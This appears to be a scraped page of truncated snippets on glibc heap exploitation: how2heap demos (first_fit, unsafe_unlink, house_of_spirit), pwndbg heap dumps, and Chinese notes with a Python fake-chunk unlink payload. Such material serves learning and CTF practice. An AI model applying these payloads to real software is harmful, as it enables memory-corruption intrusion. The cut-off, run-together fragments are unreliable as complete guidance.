In the latest complete setup, it is the binary on the host that's supposed to be patched to use custom glibc. Installing pwndbg is not part of the workflow anymore (pwndbg was installed in the docker container, since you don't need to work inside the container now, you don't need to...
pwndbg> x /70xg b0x555556eaa130: 0x00007f2a49e20d68 0x00007f2a49e20d680x555556eaa140: 0x0000000000000000 0x00000000000000000x555556eaa150: 0x0000000000000000 0x00000000000000000x555556eaa160: 0x0000000000000000 0x00000000000000000x555556eaa170: 0x0000000000000000 0x00000000000000000x555556eaa180: 0x0000000...
"glibc uses a first-fit algorithm to select a free chunk.\n");fprintf(stderr,"If a chunk is free and large enough, malloc will select this chunk.\n");fprintf(stderr,"This can be
pwndbg>31fprintf(stderr,"3rd malloc(0x500): %pn", c);32fprintf(stderr,"And put a different string here, "thisis C!"n");33strcpy(c,"this is C!");34fprintf(stderr,"3rd allocation %p points to %sn", c, c);35fprintf(stderr,"first allocation %p points to %sn", a, a);36fp...
pwndbg>heap0x603000 PREV_INUSE { prev_size = 0, size = 273, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x603110 PREV_INUSE { prev_size = 0, size = 529, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, ...
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.glibc uses a first-fit algorithm to select a free chunk.If a chunk is free and large enough,malloc will selectthischunk.This can be exploitedina use-after-free situation.Allocating2buffers.They can be large...
This technique can be used when you have a pointer at a known location to a region you can call unlink on. The most common scenario is a vulnerable buffer that can be overflown and has a global pointer. The point of this exercise is to use free to corrupt the global chunk0_ptr to ...
to a region you can call unlink on.\n");fprintf(stderr,"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");intmalloc_size=0x80;//we want to be big enough not to use fastbinsintheader_size=2;fprintf(stderr,"The point of this ...
2.能修改prev_inuse位。可以是double free(fastbin_dup_consolidate)也可以是uaf或者是堆溢出。 payload使用 f_ptr = 0x6020d0#是一个指针,指向的内容能写入fake_chunkfake_chunk = p64(0) + p64(0x21)#伪造本chunk的sizefake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)#伪造fd,bkfake_chu...
+下一个chunk是修改过prev_inuse位的 设置payload过程只需要知道一个chunk的指针,然后往chunk中写数据就ok了。 结果是把f_ptr-0x18写入到*f_ptr house_of_spirit #include#includeint main() { int cc; scanf("%d ",cc); malloc(1); unsigned long long *a; ...